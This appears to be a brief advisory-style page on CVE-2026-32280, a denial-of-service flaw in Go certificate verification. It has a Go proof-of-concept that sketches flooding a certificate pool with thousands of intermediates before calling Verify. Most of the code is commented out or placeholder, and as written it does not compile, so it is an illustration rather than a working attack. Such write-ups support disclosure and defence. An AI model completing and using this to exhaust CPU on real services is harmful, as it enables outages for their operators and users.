CVE-2026-32280 Go语言证书验证拒绝服务漏洞

package main import ( "crypto/rand" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "math/big" "time" ) // PoC for CVE-2026-32280 // This demonstrates how passing a large number of intermediate certificates // can cause a denial of service during verification. func main() { // 1. Create a self-signed root CA rootTemplate := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "Root CA"}, NotBefore: time.Now(), NotAfter: time.Now().AddDate(10, 0, 0), IsCA: true, KeyUsage: x509.KeyUsageCertSign, } // Assume rootKey is generated here... // rootCertBytes, _ := x509.CreateCertificate(rand.Reader, rootTemplate, rootTemplate, &rootKey.PublicKey, rootKey) // 2. Create a pool and simulate flooding it with intermediate certs pool := x509.NewCertPool() // In an exploit scenario, an attacker generates thousands of valid certs for i := 0; i < 10000; i++ { // Dummy cert generation for illustration // cert := &x509.Certificate{...} // certBytes, _ := x509.CreateCertificate(...) // pool.AddCert(cert) } // 3. Attempt to verify a leaf cert with the flooded pool opts := x509.VerifyOptions{ Roots: pool, Intermediates: pool, // Passing the huge list here triggers the DoS } // 4. The following call would hang or consume 100% CPU // _, err := leafCert.Verify(opts) // if err != nil { // panic(err) // } }